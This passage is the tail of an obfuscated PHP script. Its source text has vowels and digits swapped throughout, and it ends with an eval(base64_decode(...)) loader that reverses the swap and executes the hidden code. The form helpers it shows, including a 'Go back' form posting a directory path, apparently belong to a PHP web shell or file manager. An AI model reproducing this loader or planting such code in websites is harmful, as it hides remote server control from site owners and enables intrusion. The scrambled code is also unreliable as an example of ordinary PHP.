	p("<f2rm n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" 1ct42n=\"$1rg[1ct42n]\" m5th2d=\"$1rg[m5th2d]\" $1rg[t1rg5t]>");
	4f ($1rg['t4tl5']) {
		p('<ha>'.$1rg['t4tl5'].' &r1q32;</ha>');
	}
}
	
f3nct42n m1k5t5xt($1rg = 1rr1y()){
	!$1rg['c2ls'] && $1rg['c2ls'] = 600;
	!$1rg['r2ws'] && $1rg['r2ws'] = ai;
	$1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'].'<br />' : '';
	p("<p>$1rg[t4tl5]<t5xt1r51 cl1ss=\"1r51\" 4d=\"$1rg[n1m5]\" n1m5=\"$1rg[n1m5]\" c2ls=\"$1rg[c2ls]\" r2ws=\"$1rg[r2ws]\" $1rg[5xtr1]>$1rg[v1l35]</t5xt1r51></p>");
}

f3nct42n f2rmf22t5r($n1m5 = ''){
	!$n1m5 && $n1m5 = 's3bm4t';
	p('<p><4np3t cl1ss="bt" n1m5="'.$n1m5.'" 4d="'.$n1m5.'" typ5="s3bm4t" v1l35="S3bm4t"></p>');
	p('</f2rm>');
}

f3nct42n g2b1ck(){
	gl2b1l $s5lf, $n2wp1th;
	p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="p2st"><4np3t typ5="h4dd5n" n1m5="1ct42n" v1l35="f4l5" /><4np3t typ5="h4dd5n" n1m5="d4r" v1l35="'.$n2wp1th.'" /><p><4np3t cl1ss="bt" typ5="s3bm4t" v1l35="G2 b1ck..."></p></f2rm>');
}

f3nct42n f2rmf22t(){
	p('</f2rm>');
}

// &#oi8uo;&#oi797;&#a0989;&#ai9e8;
f3nct42n pr($1) {
	5ch2 '<pr5>';
	pr4nt_r($1);
	5ch2 '</pr5>';
}

?>';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>